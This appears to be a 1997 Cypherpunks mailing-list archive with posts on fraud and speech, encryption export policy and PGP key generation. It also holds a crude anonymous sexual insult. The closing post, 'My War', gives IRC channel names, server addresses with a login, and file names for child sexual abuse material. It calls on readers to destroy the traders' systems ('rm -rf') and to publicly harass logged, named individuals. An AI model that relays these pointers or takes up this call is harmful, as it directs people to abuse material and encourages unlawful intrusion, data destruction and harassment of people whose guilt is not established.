tBxBZGFtIEJhY2sgPGFiYUBkY3MuZXguYWMudWs+iQCVAwUQMiDfwUZRiTErSPb1
AQF/yAP8D1X2eAhXSc0P/X7lCHyBhWCl3pxa6oyGxFBOmUeOGfYna8CpJeMiTmZm
akRWDYmJUiXscQUfd9qRv8eAeOtbvM87olSjm56Dlh4gYJFZRxZ6IhHlFJx3mPmp
q9PnL+pSC41IIheRBJFzpKGD3LW9+VQwRAx9bXFJYyOFpx7vGJqJAJUCBRAwLhaV
fjuD7tLfgD0BAYnfA/0XByiiqDX/cxgWt9syiobJ0TrTKloJcEgzxnKmqHH7rhqn
wWGQA2pbWPGW1AwLtkeE+JYyk21YQZZxYWerK3JUi8a/ye4EaaJSs8mcw9YCwdPC
Xa0nlalh09/FBEt83l5auNbw+zl9AcrOIGsTQcAr0Vy5nnV9IEfi6WZ3/aQ734kB
FQMFEC/gRoaxVzBJFqEkZQEBEXcIAI6z9nUinIomouzB/3v1Fu9+kLOLiva+7Mp1
8UT40FXvHSabXe/cSV1//lnlYHJnfpJCPFSEjGox1pVBp9pLmiJBmubLfUrojIAn
FDB081n6kB0B4BKb2rUiNghvT4CzpBZ149g/2NGscRIeQOCYkA2cBxT44v2luuqN
3Ahg9bWu+kjnxUKIK9Da/8D0ur5HiinBDevPiVf3/uoOdZ8F7alxqitBcC5ctIYR
tr8fgdQq8is6dbeNxDMraV5vEpEN27AU4xOetymdFUufbU1K6Riw5TVZni9qXAgU
ZS3zyFw7wqJ/SWILMWp+99ss921b+GpL+/m6S4j7LTXvFvcfy9aJAJUDBRAv2A0p
Kci4nVVqSmcBAcfoA/9Pt3BeJ3TdTtQzb9DNT7LoXiQesYG68lzIl7BZsRvXoi2Q
yeCPNc/juTGBnKBHgxZezJCW8TaKdJjNEncv7p+1o+9fwmy9UKWXskh6N+Y0ZlhJ
bD0T+8+L+Wxpr6k3dao/GfOnCvw8vpvzDV9lnjtqe2B1mU5eAY76FFtZXvM9xw==
=xN9o
-----END PGP PUBLIC KEY BLOCK-----






From tcmay at got.net  Sun Jun  8 16:05:41 1997
From: tcmay at got.net (Tim May)
Date: Mon, 9 Jun 1997 07:05:41 +0800
Subject: Fraud and free speech
In-Reply-To: <199706081255.HAA03281@mailhub.amaranth.com>
Message-ID: 



At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In , on 06/08/97
>   at 07:36 AM, Declan McCullagh  said:
>
>>I don't think commercial speech should be treated as second-class speech.
>>But my position is hardly surprising.
>
>Well I think that there are some that would confuse the issue between 1st
>Amendment free speech and the issues surrounding fraud. Especially those
>in government who write the laws that regulate commercial speech.

The mistake has been to extend "fraud" laws to non-contract situations,
e.g., ordinary speech (as distinguished from contracts).

If the Catholics say drinking the blood of JC and eating a piece of his
flesh (aka, "Jesus sashimi") will get you into Heaven, is this fraud or not?

In the increasingly popular notion of fraud, sure it is. It is a statement
or assurance which is almost certainly false. But then, aren't all
religions frauds?

Contracts, with clearly stated conditions and with judgeable or
falsifiable/testable conditionals, are a matter for the courts (private
courts, in fact), but vague promises, advertisements, propaganda, etc. are
not.

Clear now?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From pooh at efga.org  Sun Jun  8 16:19:56 1997
From: pooh at efga.org (Robert A. Costner)
Date: Mon, 9 Jun 1997 07:19:56 +0800
Subject: PGP Key generation
In-Reply-To: <199706082051.VAA05211@server.test.net>
Message-ID: <3.0.2.32.19970608190515.007152dc@mail.atl.bellsouth.net>



-----BEGIN PGP SIGNED MESSAGE-----

I have a question for any of you that may know the answer.  This is for a 
paper I am giving to the Social Security Administration on Tuesday, so I 
would appreciate any answer I get.

If I generate a personal PGP keypair on some machine it takes a specific 
period of time to do the intensive calculations, let's assume ten minutes for 
this example.  If I needed 10,000 such individual keyspairs for a unspecified 
authentication attack, does this have to take 10,000 times 10 minutes (over 
two months with this CPU), or is there a faster way to generate a large 
number of keypairs to appear to be a large number of people.

The larger question is since 10,000 unique written signatures seems to 
indicate that 10,000 unique individuals exist, would 10,000 unique PGP 
signatures also seem to indicate that these are not from the same person?


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM5s6qEGpGhRXg5NZAQG0ywIAwM3EOYMTvpxZEJqpsEqGvdAGA35Tjv0I
ODzAbs/aoSQ6KWMwmw306GOvfSCGBQDgw5QJ/0ENxFwb+1OFkcA2BQ==
=hVvI
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From jya at pipeline.com  Sun Jun  8 16:21:37 1997
From: jya at pipeline.com (John Young)
Date: Mon, 9 Jun 1997 07:21:37 +0800
Subject: Dems Critique Crypto Policy
Message-ID: <1.5.4.32.19970608230146.0098ceec@pop.pipeline.com>



These views from Democratic legislators on the SAFE
crypto bill is excerpted from House Report 105-108, dated 
May 22, 1997, which reports on the recent hearing testimony, 
DoJ's critique, and Goodlatte's responses to administration 
criticism. It cites the Blaze et al report on the risks of key
recovery, Sun's alliance with Elvis, current litigation and
non-US commercial exploitation of the crypto stalemate.

   http://jya.com/hr105-108.htm  (94K)

-----

                    ADDITIONAL MINORITY VIEWS

                                   John Conyers, Jr.
                                   Rick Boucher.
                                   Zoe Lofgren.
                                   Maxine Waters.
                                   William Delahunt.
                                   Martin T. Meehan.

    We offer these additional views not to foment dissent but
to encourage dialogue with the Administration on the issues
related to encryption. We would like to work with federal law
enforcement and national security agencies to address their
concerns.

    We sympathize with the difficulties faced by investigative
and security agencies in combating crime, terrorism, and
espionage. We believe it is quite legitimate for the
Administration to be concerned about the uncertain impact that
strong and ubiquitous encryption products may have on law
enforcement and national security agencies. We realize that it
may ultimately become impossible for government agencies to
decipher intercepted or retrieved data and communications that
have, by encryption, been transformed into a seemingly
unintelligible form.

    We recognize the days of cracking strong codes are nearly
gone. Unbreakable codes (256-bit key algorithms can generate
more possible solutions than there are particles in the known
universe) are already widely known. Private security experts
and sophisticated hackers have already realized this and are
beginning to develop ways of attacking the vulnerable points
before and after the information is encrypted (i.e., on the
sender's hard drive or at a ``good-guy'' recipient such as a
bank). We suspect that law enforcement and national security
experts within the government are acquiring similar
capabilities. But these alternative (and more subtle)
approaches are not reflected in the Administration's current
public policy toward encryption.

    The Administration's current encryption policy, a policy
that runs back at least to the Bush Administration, creates
more problems than it resolves. The policy is a combination of
encryption export controls and a key escrow system by which the
key to the code encrypting the information is to be held by a
third party (so it may be made available to the government).

    We need to be honest about this situation. We don't expect
most narcotics traffickers, terrorists, or criminals to respect
export restrictions on encryption when they don't respect our
underlying drugs or weapons laws. And we don't generally expect
anyone who employs encryption in furtherance of a crime to
readily give their keys to some third party so they may be made
available to the government.

    The Administration maintains that there is a commercial
need for key recovery. While that may be true to some extent,
there appears to be little or no demand for the all-
encompassing system they want to mandate. Experts have
uniformly concluded the government's proposed system is either
excessively costly and complex or insecure. In part, this is
true because the government seeks access to real-time
communications and data transmissions, rather than the ability
to recover stored data.

    The Administration insists it doesn't want domestic
restrictions on encryption. We are concerned, however, that the
Administration policy does have this effect. Development of
software programs, including those utilizing encryption, occurs
at an amazingly rapid pace, so it is not feasible for computer
software and hardware companies to develop separate products
for export and for domestic use. As a result, as a practical
matter, only products that are exportable, with weaker
encryption or with government-approved key recovery-escrow, can
be marketed at present.

    We fear that current encryption policy, encouraging as it
does weaker encryption, makes every American more vulnerable to
illicit or surreptitious access to our computer files, our
phone conversations, and personal information, and thus exposes
our citizens to hackers, terrorists, and thieves. It is ironic
that what is trumpeted as an aid to law enforcement may
instead compromise individual and corporate security.

    What we have here is not only a combination of export
controls and a key recovery system that does not work, we have
a system that compromises the competitiveness and security of
this nation's software and hardware industry, as well as our
privacy rights. As conceded by Administration witnesses, the
proposed key recovery system can succeed only as long as there
is no non-conforming encryption software readily available in
the market. But there is already an abundance of such software,
some of it freeware, that is readily available over the
Internet.

    The proposed key recovery system can not work unless the
United States persuades every other nation to adopt key
recovery. We can safely say we are unlikely to obtain the
agreement of Libya, Iran, Iraq, or North Korea. In addition,
the efforts to date of David Aaron, U.S. Ambassador to the
Organization for Economic Cooperation and Development (OECD),
to obtain a consensus in support of key recovery resulted
instead in a consensus opposing it.

    The Administration's policy has therefore been a strong
market incentive:

          (a) for non-participants (in the Administration's key
        escrow program) to make non-standard, secure encryption
        available, and

          (b) for U.S. companies to set up abroad in
        "encryption havens'' so they may legally market
        strong, secure encryption products to customers who
        decline to make their "international key'' available
        to diverse governments around the world.

There are already U.S. companies establishing ties with foreign
companies in Japan, Russia, and elsewhere.

    Nor is this policy without its cost. It is estimated that,
if the U.S. persists in its current policy through the year
2000, we shall lose 200,000 jobs and $60 billion each year.
This is what it will cost this nation to lose the cryptography
lead we enjoy and the competitive expertise necessary to
maintain our market position.

    Unfortunately, our discussions to date with law enforcement
and intelligence agencies have not admitted of the possibility
of any further relaxation of export restrictions as part of the
broader process essential to resolving this complex question.
Nor has the Administration offered to consider alternatives to
its key escrow or key recovery system.

    H.R. 695 need not be the end of the process but the
beginning of a real dialogue. This is what we would like to
happen. We continue to remain hopeful that the Administration
will acknowledge the shortcomings of its current policy and
sincerely hope that this will happen soon lest more serious
damage be done to our industry, to our security and to our
privacy.

[End exceprt]






From whgiii at amaranth.com  Sun Jun  8 16:47:31 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 9 Jun 1997 07:47:31 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: <199706082331.SAA10511@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/08/97 
   at 03:48 PM, Tim May  said:


>At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>In , on 06/08/97
>>   at 07:36 AM, Declan McCullagh  said:
>>
>>>I don't think commercial speech should be treated as second-class speech.
>>>But my position is hardly surprising.
>>
>>Well I think that there are some that would confuse the issue between 1st
>>Amendment free speech and the issues surrounding fraud. Especially those
>>in government who write the laws that regulate commercial speech.

>The mistake has been to extend "fraud" laws to non-contract situations,
>e.g., ordinary speech (as distinguished from contracts).

>If the Catholics say drinking the blood of JC and eating a piece of his
>flesh (aka, "Jesus sashimi") will get you into Heaven, is this fraud or
>not?

>In the increasingly popular notion of fraud, sure it is. It is a
>statement or assurance which is almost certainly false. But then, aren't
>all religions frauds?

>Contracts, with clearly stated conditions and with judgeable or
>falsifiable/testable conditionals, are a matter for the courts (private
>courts, in fact), but vague promises, advertisements, propaganda, etc.
>are not.

>Clear now?

Well I would have to dissagre. Advertisements should be covered under
contract law as verbal contracts. If I advertise that "X" does "Y" but it
really does "Z" then this is clearly fraudulent behavior.

The difficulty is in proving that "X" does "Z" and not "Y" but that is an
exercise left to the civil courts.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5tBtI9Co1n+aLhhAQHgOQQAnlWK4zx73nDMjx0e794RgW9Gu9QiFZLY
9fxxp8O2jX/Udky5sD6ojtQedvWQu39P05YLtf/UkUZfPsd27dbNhEiuPNEQxFPN
6IId9BJ2ts+fc+ZeWEzNdnEXjJ9Yar/9ysIrt2fC2nfv1BYUs57uinU9kAj0bO30
Jbek/gI+sSg=
=ZMKe
-----END PGP SIGNATURE-----






From vince at offshore.com.ai  Sun Jun  8 16:49:30 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Mon, 9 Jun 1997 07:49:30 +0800
Subject: FC97 in July Wired
In-Reply-To: 
Message-ID: 




> It appears that Vince gets a
> subscription down in Anguilla, which got there yesterday, and probably
> everywhere else, I reckon.

Appearances can be deceiving.  I just heard about it, I don't have
a copy.

> So, the checks may take 90 days to clear in
> Anguilla, but at least the mail gets there on time...

It is 30 working days, and we never have enough holidays to make that 90
days.  Local checks clear in 1 day.  How fast do your local checks 
clear?  :-)   

  -- Vince







From rah at shipwright.com  Sun Jun  8 17:25:16 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 9 Jun 1997 08:25:16 +0800
Subject: FC97 in July Wired
In-Reply-To: 
Message-ID: 



At 7:39 pm -0400 on 6/8/97, Vincent Cate wrote:


> It is 30 working days, and we never have enough holidays to make that 90
> days.  Local checks clear in 1 day.  How fast do your local checks
> clear?  :-)

ACK! I meant "foriegn" checks. As for the 60-day variance, I plead
innumeracy. (What? Philosophy majors are supposed to *count*, too?). ;-).

OTOH, maybe 30 days just *seems* like 90 when you're waiting for it. :-).

Anyway, 30 days or 90, I bet FSTC-check/ACH gateways 
are going to be *real* popular in places like Anguilla someday. Almost as
popular as those call-back services are now...

You can't regulate the arbitrage.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From nobody at REPLAY.COM  Sun Jun  8 17:26:19 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 9 Jun 1997 08:26:19 +0800
Subject: [ADMINISTRATIVIUM] Quadratic residues
Message-ID: <199706090007.CAA10876@basement.replay.com>



`A pen is mightier than a sword', not to mention Timmy C. 
May's pea-sized penis. He would be better served by a 
safety razor, possibly applied in a bathtub filled with 
warm water (something he has surely never been into).

      o
  /\O/        O Timmy C. May
 0  \\    | 0-#
    //    |  / \







From mahtani at vaxvmsx.babson.edu  Mon Jun  9 10:01:02 1997
From: mahtani at vaxvmsx.babson.edu (Dinesh Mahtani (Dino))
Date: Mon, 9 Jun 1997 10:01:02 -0700 (PDT)
Subject: subscribe
Message-ID: <9706091700.AC28932@mozart.inet.co.th>


subscribe mahtani at vaxvmsx.babson.edu
 _______________________________________________________________
|								|
|      TEMPORARY EMAIL ADDRESS: mahtani at vaxvmsx.babson.edu	|
|_______________________________________________________________|
 _______________________________________________________________
|								|
| Please note that our company will be changing our Internet	|
| Service Provider in the very near future.  I may be unable 	|
| to view messages sent to mahtani at mozart.inet.co.th.  To 	|
| avoid any possible problems please update your address 	|
| books and/or send carbon copies of all correspondance to my 	|
| old school address during this transition. 			|
|_______________________________________________________________|
 _______________________________________________________________
|								|
|      TEMPORARY EMAIL ADDRESS: mahtani at vaxvmsx.babson.edu	|
|_______________________________________________________________|






From lucifer at dhp.com  Sun Jun  8 19:07:56 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 9 Jun 1997 10:07:56 +0800
Subject: Dems Critique Crypto Policy
Message-ID: <199706090157.VAA27750@dhp.com>



John Young wrote:
                        ADDITIONAL MINORITY VIEWS
> 
>                                    John Conyers, Jr.
>                                    Rick Boucher.
>                                    Zoe Lofgren.
>                                    Maxine Waters.
>                                    William Delahunt.
>                                    Martin T. Meehan.
>     We need to be honest about this situation. We don't expect
> most narcotics traffickers, terrorists, or criminals to respect
> export restrictions on encryption when they don't respect our
> underlying drugs or weapons laws. And we don't generally expect
> anyone who employs encryption in furtherance of a crime to
> readily give their keys to some third party so they may be made
> available to the government.

  The government doesn't expect it, either.
  As a matter of fact, they are probably sitting back laughing their
asses off over your eloquent statements of logic which any rational
person could reproduce if they weren't programmed to feed unthinkingly
off of government media sound bytes.

  All of your points are well-taken and they will make no more 
difference than similar ones have made in the past. You will speak
your mind politely while the government goes about usurping the few
remaining privacies and freedoms we have.
  In the meantime, the nation is keeping busy bemoaning the fact 
that not everyone is going to be so polite in their protest of
the government assault on the liberty and freedom of the citizens.
The nation is busy venting their rage on a government mandated
monster, as always, instead of admitting that there is a much
greater monster in our midst which is slaying more of our citizens
in a variety of ways than McVeigh could ever dream of.

TruthMonger






From tcmay at got.net  Sun Jun  8 19:08:44 1997
From: tcmay at got.net (Tim May)
Date: Mon, 9 Jun 1997 10:08:44 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: 



At 4:14 PM -0700 6/8/97, William H. Geiger III wrote:

>Well I would have to dissagre. Advertisements should be covered under
>contract law as verbal contracts. If I advertise that "X" does "Y" but it
>really does "Z" then this is clearly fraudulent behavior.

When I was growing up, advertisements that a product would make one
attractive to women, for example, were treated as marketing jive. And we
were all taught the old saw, "If Johhny told you to jump off a cliff, would
you?" (This along with "sticks and stones" formed the basis of my
proto-libertarian view.)

An advertisement is a tease, not a promise. If a advertisement for a
Pentium says it will run Macintosh software and run it at 600 Mhz, the
proper response is skepticism, not demanding a law be passed to stop such
advertisements.

The key lies in proper contracts, not in regulating speech.

(Oh, and it almost goes without saying that the same "lies" William and
others are so worried about in "commercial" speech happen all the time in
non-commerical speech. For every example of where commercial speech
involves lies or fraud, I can find similar or fully equivalent
non-commercial examples, ranging from lies like "I love you" to get a
partner into bed to deliberate misstatements to mislead an opponent. Why
should such "lies" be protected while putatively commercial speech is to be
subjected to an increasing number of limitations?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From markm at voicenet.com  Sun Jun  8 19:40:00 1997
From: markm at voicenet.com (Mark M.)
Date: Mon, 9 Jun 1997 10:40:00 +0800
Subject: PGP Key generation
In-Reply-To: <3.0.2.32.19970608190515.007152dc@mail.atl.bellsouth.net>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 8 Jun 1997, Robert A. Costner wrote:

> I have a question for any of you that may know the answer.  This is for a
> paper I am giving to the Social Security Administration on Tuesday, so I
> would appreciate any answer I get.
> 
> If I generate a personal PGP keypair on some machine it takes a specific
> period of time to do the intensive calculations, let's assume ten minutes for
> this example.  If I needed 10,000 such individual keyspairs for a unspecified
> authentication attack, does this have to take 10,000 times 10 minutes (over
> two months with this CPU), or is there a faster way to generate a large
> number of keypairs to appear to be a large number of people.

There are a few shortcuts you could take.  For instance, instead of finding
two random, prime numbers for every key, just keep one prime constant and
generate another random prime for each key.  This has the disadvantage
that any one key factored would allow the other keys to be factored
trivially.  I know there are other ways, but I'm not very good with number
theory.

Using this technique, it would take about half as long to generate 10,000
public keys.

> The larger question is since 10,000 unique written signatures seems to
> indicate that 10,000 unique individuals exist, would 10,000 unique PGP
> signatures also seem to indicate that these are not from the same person?

The basis of PGP is the web of trust.  Keys are signed by people who are
trusted to be competent and truthful, so the user can be sure to a certain
degree that the key really is owned by the person listed in the ID field.
There are problems that arise with this simplistic key management system,
but I won't reiterate what has been discussed many times before.  There
are a few papers that discuss this in detail.  Here are some pointers:

ds.internic.net/internet-drafts/draft-ietf-spki-cert-req-00.txt
                                draft-ietf-spki-cert-structure-01.txt
research.att.com/dist/mab/policymaker.ps
http://theory.lcs.mit.edu/~rivest/

So the simple answer to this question is that one would not be able to
get all 10,000 keys signed, so there would only be one key that could
be trusted to belong to that person.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM5teJSzIPc7jvyFpAQF68wf/YiMlEkZV0axYIAp+WNCGlhuG9JTmu5st
4YUXGvkxwg4icePatfz+yttWfpYEmnSKP/9ZiLAAegsfuWcaK9frnntguUsH5jxE
SZMXVWQzIqjW8sTNWY5KtDLbAkNE99gLCbPGq4zaksryzWYwwqOukHFXHFZkKWF6
0sEk3H+AVY5SOCUf/MuNZACc1d6CLsWBHoUl2BFCi0seUcFqdBnEmydIaIyI4fee
Kdezl/QPnVWQKBmZVuYfUtIrP+Kc1cD30D7LAqcPd+rr9UkstOv0rsRR5vH2SZwp
7T8MFCeRQx1gs/j4QUvKgS/Y+vYrewTUmjdpADBF70ck0io23z4JZQ==
=n5hc
-----END PGP SIGNATURE-----






From lucifer at dhp.com  Sun Jun  8 19:40:38 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 9 Jun 1997 10:40:38 +0800
Subject: Fraud and free speech
Message-ID: <199706090223.WAA29211@dhp.com>



Tim May wrote:
> 
> At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
> >Well I think that there are some that would confuse the issue between 1st
> >Amendment free speech and the issues surrounding fraud. Especially those
> >in government who write the laws that regulate commercial speech.
> 
> The mistake has been to extend "fraud" laws to non-contract situations,
> e.g., ordinary speech (as distinguished from contracts).

  Any time that you see a thread in which Kent Crispin accuses someone
of trying to "muddy the waters" you can pretty much guarantee he is
trying to throw a logical curveball of his own.
  Kent added some tripe to the thread supporting his favorite theme,
which is that it is the job of government to "enforce" contractual
agreements. Naturally, he also extends the format of these contracts
to include government authority to enforce criminal penalties for
statements made by the great grandfather of the second cousin of the
spouse of one of the person making the contract.
  Follow any thread after a Crispin post and you will find people
arguing over issues he raises which have little basis in reality.

> Contracts, with clearly stated conditions and with judgeable or
> falsifiable/testable conditionals, are a matter for the courts (private
> courts, in fact), but vague promises, advertisements, propaganda, etc. are
> not.

  Dimitri wrote a couple of posts which dealt well with the original
concept of two parties agreeing on an arbitrator/judge to settle
contractual disputes (e.g. the court of Prince X) and the following
usurpment of these free-will agreements by people in power who decree
that _they_ are now the only valid arbitrator/judge in contractual
matters.
  We now have a system where if someone breaks agreement with you the
government locks them in a cage where there is no possibility of them
paying you what they are contractually obligated to. The government
doesn't give a fat rat's ass what your desires are for resolution of
the dispute. They are always busy protecting the nebulous "other"
rather than someone real, with a real interest in the situation.

  The government mandates that contractual agreements must be 
settled in a forum where the corporation with an army of lawyers
can bury the attorney that Joe Average picked out of the yellow
pages. When you enter into a contractual agreement with someone who
has a guy named "Big Louie" as arbitrator, however, the government
calls it organized crime.
  Pardon me if I fail to see the distinction.

TruthMonger







From dlv at bwalk.dm.com  Sun Jun  8 20:36:48 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 11:36:48 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: 



Paul Bradley  writes:
> > Troll: and how about them proposed restrictions on tobacco advertising...
> >
>
> Troll-Response: The UK government has recently proposed a ban on all
> tobacco advertising (should be in place within a few months) including
> sponsorship of sport etc. Time to dust of the barbeque, we`re gonna have
> us a statist roast ;-)...

In China and thereabouts (Mongolia, Malaysia...) tobacco companies are
sponsoring sports events and creating professional sports leagues where
otherwise the market wouldn't bear them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From jya at pipeline.com  Sun Jun  8 21:04:38 1997
From: jya at pipeline.com (John Young)
Date: Mon, 9 Jun 1997 12:04:38 +0800
Subject: AES Comments to NIST
Message-ID: <1.5.4.32.19970609034549.009b7ce0@pop.pipeline.com>



NIST has published the 33 comments received on
the proposed Advanced Encryption Standard (AES)
intended to replace DES. Several are quite extensive.

In addition to those exemplars we've seen here by 
Bill Stewart and Bruce Schneier, there are remarks by 
several crypto luminaries, such as Ron Rivest and 
Clifford Adams (author of CAST), by NSA, by Canada's 
CSE, and by Certicom, 3Com, TIS, MasterCard, the 
ANSI X9 Standards Committee, the ABA and so on.

   http://jya.com/aes-comments.txt  (103K)







From se7en at dis.org  Sun Jun  8 23:32:43 1997
From: se7en at dis.org (se7en)
Date: Mon, 9 Jun 1997 14:32:43 +0800
Subject: My War
Message-ID: 




Way back when in 1995 when I stopped lurking on this list and became a 
regular poster, one of the things I quickly became known for was my 
on-line harrassment of those who had stepped over the line in one manner 
or another in a way that would ultimately hurt us as a group overall.

Many old-timers here will remember my harrassment of Curtis Sliwa and 
Colin Hatcher of the Cyberangels (a.k.a. Guardian Angels). These were the 
fools who organized a worldwide volunteer police-wannabe force that 
searched out indecency (in the generic and ill-defined sense of the term) 
on the net, which when one dug further into their agenda, found it was 
just a ploy for funding and political power. 

My incessant harrassment led to the revelation of many things, most 
importantly that their leader had never ever been on the WWW, stating 
that he didn't have time to do so. This despite the fact he had time to 
organize a police force to patrol it.

There have been many others since then, most not as evil as the 
Cyberangels. They each had their own reasons for harrassment. Among 
some of them have been Carolyn Meinel, O.J. Simpson, Captain Crunch, and 
Gambit.

As many of you know, I make a living as a professional speaker, with 
federal government, military and intelligence communities as my core 
audience. Let me put any fears anyone may have to rest: my work 
concentrates in Information Technology more than anything else, and if I 
get into hackers and hacking, it is more pro-hacker than anything else. I 
am working to improve our image as a community of talented individuals.

I recently went off on a serious rant with three different audiences on a 
topic I felt was seriously exaggerated/over-hyped/fearmongered/bullshit. 
That topic was child pornography on the Internet. If you believed the 
press, child pornography was all over the Internet and easy to get. This 
brought about even more press and some action by our legislators to 
crack down on the Internet.

I conducted an eight-week long search for child pornography late last 
year in the middle of this hype. I searched for, followed literally tens 
of thousands of links and hacked into pay/private porno servers all over 
the world. My opinion based on my results, which were not having found a 
single picture of child pornography anywhere, was that this whole topic 
was a bunch of bullshit.

Well, that all changed a few days ago. I had asked for a software crack 
in a public USENET forum to override the NT4.0 Server 120 day time limit. 
While never receiving the crack, some idiot from an anonymous address 
sent me a child porn .jpg file. Trust me when I say it was child porn; 
the girl was no older than four years old and was very graphic. I 
immediately deleted all trace of the message/attachment. I was also very 
pissed to say the least that some asshole sent me this.

I looked around on IRC on #teensex, and by whois'ing several operators, 
found more insidious channels. Among them are:

#preteensexpics
#littlegirlsex
#100%preteensexpics
#100%preteensexfuckpics
#!!!!!!preteensexpics

There are many others. I joined several of these channels and found that 
upon entering each one, I was auto messaged about special kiddie porn 
servers dedicated to trading, e.g.,

PreTeenSexPics - FTP at 130.67.80.230 l/p ncc/ncc [|]

I logged onto several of these servers, and upon doing an ls-la found 
directories dedicated, among others, to child pornography. CD'ing into these 
directories listed several hundreds of files such as:

9yoshowr.jpg
8&dad.jpg
4yrfuck.jpg
6thgrade.jpg
6yoanal.jpg

These are some of over several hundreds of files in a single directory on 
a single server. There were dozens of servers. I learned the protocol to 
download on these servers was to uplaod pictures you owned and then the 
operator would give you "credits" of various ratios for downloading, i.e., 
upload two pictures, you get credit to download one picture. I uploaded 
generic garbage pics off of a commercial adult web site, and recived 
credit to download three pics. What I saw wanted to make me physically 
vomit (yes, these pics are long since overwritten with 1's and 0's and 
destroyed). To put any doubts at rest, the material was real and fit the 
names of the files mentioned above.

I was also actively sent private messages by those looking to trade. I 
asked what they had, and the usual response was "anything and 
everything." Some of the more common messages were:

"I have 4-12 year old girls both action or pose."
"I have little boys and girls alone or together."
"I specialize in adults with 4-8 year old girls."

I started logging the channels. I wanted to silently gather IP addresses 
and email addresses. These people needed some genuine hacker terror. 
Among some of the more active and persistent traders were:

(*denotes server in operation)

* SylphFox has a ftp at 206.246.162.183 1:2 ratio, anon login
* 
* 









 name: Lewis Johnson



 name: Tuyen Ha



This log was generated in thirty minutes on #100%preteensexpics. If their 
email address appears above, it indicates they were actively offering 
trades or had servers in operation. These people listed above *were not* 
passive participants in the rooms. This represents only a small sampling 
of the overall people in the room at the time. Average number of people 
in each room varies, but seems to number about 40 people per room.

I logged out of IRC, and then went to USENET, in such rooms as:

alt.binaries.erotica.children.pre-teen

There I found several hundreds upon hundreds of .jpg files of real child 
pornography. Several messages also pointed to some WWW sites, such as:

http://www.nudebooks.com

For someone who took a virtual tour of the kiddie porn world for only one 
day, I had the opportunity to download enough files to fully max out an 
IOmega 100MB ZIP disc. **This is not an exaggeration.** Imagine how much 
could be, and has, been downloaded by those who are regular participants 
in this activity.

Well, this whole situation is unacceptable. First, I would like to 
apologize to all those who have hired me in the past, and were subject to 
my emotional rants about how the whole subject was bullshit and not real. 
It is very real. It is disgustingly real. It is so real it will make you 
want to throw up, and I actually, physically did throw up last night.

Second, in reference to previous conversation over the years on this list, 
and in the hacking community in general, I know this type of activity is 
not tolerated by us. I have given you enough information above to start 
identifying the players in this and the places they congregate. It would 
be my sincere hope that hackers of all abilities would spend a few 
moments each day and put their talents to use against these people.

Yes, I am advocating malicious, destructive hacking activity against 
these people. Who are they going to run to? The police? "They hacked my 
kiddie porn server and rm -rf'd my computer!" Right...the police will be 
so anxious to lock us up left and right.

These people need to be eradicated from the Internet. While that may 
never happen completely, enough harrassment will send a message that 
engaging in this type of activity in very dangerous, and can result in 
serious harrassment, public embarrassment and computer destruction.

This is my war. It will be a public war. I don't care what happens to me 
by their community or by law enforcement. I feel secure enough that no 
jury in the world will convict me for taking these people out. I feel 
secure enough that no law enforcement agency will ever take action that 
would place me in front of a jury. And if by some chance I do end up 
being prosecuted, I know what I did was right.

So, now start the logs of the channels and the actions of those in it. 
Now starts the public postings of these logs in various places on the 
Internet. Now starts the harrassment. Now starts the malicious hacking. 
Now starts the war.

I don't expect people to join me here on this. If you do, you have enough 
information to start. I caution you to log what is going on, and to make 
